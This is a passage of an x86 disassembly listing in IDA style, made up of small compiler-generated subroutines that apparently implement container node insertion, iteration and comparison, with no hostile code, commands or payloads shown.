		inc	eax
		retn	4
sub_415A50	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A80	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_40175D
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: sub_4016D6j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_40175D
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415AC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415AF0	proc near		; CODE XREF: sub_40217Bj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C62
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401ED8
sub_415AF0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401F19
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4021B7
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DBB
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B90	proc near		; CODE XREF: sub_401735j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CBC
		test	al, al
		jz	short loc_415BDD
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415BAA:				; CODE XREF: sub_415B90+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A5F
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40217B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_40210D
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CBC
		test	al, al
		jnz	short loc_415BAA
		pop	edi


loc_415BDD:				; CODE XREF: sub_415B90+13j
		pop	esi
		retn	0Ch
sub_415B90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415C10	proc near		; CODE XREF: sub_401FCDj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401578
		mov	ecx, eax
		call	sub_401C62
		mov	esi, eax
		push	esi
		call	sub_4020A9
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_4020A9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_4020A9
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401F19
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401500
		push	esi
		mov	ecx, edi
		call	sub_401CE9
sub_415C10	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415CD0	proc near		; CODE XREF: sub_40146Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jz	short loc_415D2A


loc_415CE8:				; CODE XREF: sub_415CD0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401578
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FCD
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D70
		test	al, al
		jnz	short loc_415CE8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415D2A:				; CODE XREF: sub_415CD0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415CD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D60	proc near		; CODE XREF: sub_401ED8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020F4
sub_415D60	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D75
		mov	edi, esi


loc_415D75:				; CODE XREF: ___:00415D71j
		push	esi
		call	sub_4020A9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D8A
		mov	edi, esi


loc_415D8A:				; CODE XREF: ___:00415D86j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415DB0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E1A
sub_415DB0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DD0	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415DD0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DF0	proc near		; CODE XREF: sub_401F19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415DF0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E10	proc near		; CODE XREF: sub_401ED3j
		mov	eax, ecx
		retn
sub_415E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E30	proc near		; CODE XREF: sub_401DBBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40175D
		mov	eax, esi
		pop	esi
		retn	4
sub_415E30	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E60	proc near		; CODE XREF: sub_401578j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020C2
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E90	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415E90	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415EC0	proc near		; CODE XREF: sub_401AAAj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F8C
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C8F
sub_415EC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402144
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015F0
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CDA
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F60	proc near		; CODE XREF: sub_4017E9j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F8C
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402144
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D61
		push	esi
		mov	ecx, edi
		call	sub_401E33
sub_415F60	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416020	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jz	short loc_41607A


loc_416038:				; CODE XREF: sub_416020+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017E9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AEB
		test	al, al
		jnz	short loc_416038
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41607A:				; CODE XREF: sub_416020+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416020	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160B0	proc near		; CODE XREF: sub_401C8Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015AF
sub_4160B0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4160C5
		mov	edi, esi


loc_4160C5:				; CODE XREF: ___:004160C1j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4160DA
		mov	edi, esi


loc_4160DA:				; CODE XREF: ___:004160D6j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416100	proc near		; CODE XREF: sub_401E33j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_416100	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416120	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416120	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416140	proc near		; CODE XREF: sub_402144j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416140	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416160	proc near		; CODE XREF: sub_401E97j
		mov	eax, ecx
		retn
sub_416160	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416180	proc near		; CODE XREF: sub_401CDAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161B0	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018C5
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4161B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161E0	proc near		; CODE XREF: sub_401EC4j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416210	proc near		; CODE XREF: sub_401D11j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017DF
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DB6
sub_416210	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017DF
		push	edi
		mov	[eax], ebx
		call	sub_4017DF
		mov	edi, [eax]
		push	edi
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017E4
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E15
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D7A
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4162B0	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EBF
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BCC
		push	esi
		mov	ebx, eax
		call	sub_4017DF
		mov	ecx, [eax]
		push	ecx
		call	sub_401BCC
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017DF
		push	esi
		mov	ebx, eax
		call	sub_401BCC
		mov	eax, [eax]
		push	eax
		call	sub_4017DF
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017E4
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401401
		push	esi
		mov	ecx, edi
		call	sub_401F14
sub_4162B0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416370	proc near		; CODE XREF: sub_40140Bj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_4163CA


loc_416388:				; CODE XREF: sub_416370+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EBF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416388
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4163CA:				; CODE XREF: sub_416370+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416370	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416400	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401EBA
sub_416400	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416415
		mov	edi, esi


loc_416415:				; CODE XREF: ___:00416411j
		push	esi
		call	sub_401BCC
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41642A
		mov	edi, esi


loc_41642A:				; CODE XREF: ___:00416426j
		push	esi
		call	sub_4017DF
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416450	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401866
sub_416450	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401BCCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416490	proc near		; CODE XREF: sub_4017E4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416490	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164B0	proc near		; CODE XREF: sub_401E42j
		mov	eax, ecx
		retn
sub_4164B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164D0	proc near		; CODE XREF: sub_401D7Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401618
		mov	eax, esi
		pop	esi
		retn	4
sub_4164D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416500	proc near		; CODE XREF: sub_401EBFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416500	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416530	proc near		; CODE XREF: sub_401456j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_416530	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416560	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416560	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416580	proc near		; CODE XREF: sub_4020F4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416580	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4165B0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_4165B0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165D0	proc near		; CODE XREF: sub_4021B7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_4165D0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416600	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_416600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416620	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416620	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416640	proc near		; CODE XREF: sub_401A5Fj
		mov	eax, [ecx]
		push	eax
		call	sub_401F19
		add	esp, 4
		retn
sub_416640	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416660	proc near		; CODE XREF: sub_40210Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020A9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416690	proc near		; CODE XREF: sub_401CBCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E74
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_416690	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166C0	proc near		; CODE XREF: sub_401C62j
		mov	eax, [ecx]
		retn
sub_4166C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166E0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416700	proc near		; CODE XREF: sub_4015AFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416700	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416730	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416730	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416750	proc near		; CODE XREF: sub_4015F0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40205E
		add	esp, 8
		retn	8
sub_416750	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416780	proc near		; CODE XREF: sub_401D61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416780	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167A0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167A0	endp

; ---------------------------------------------------------------------------
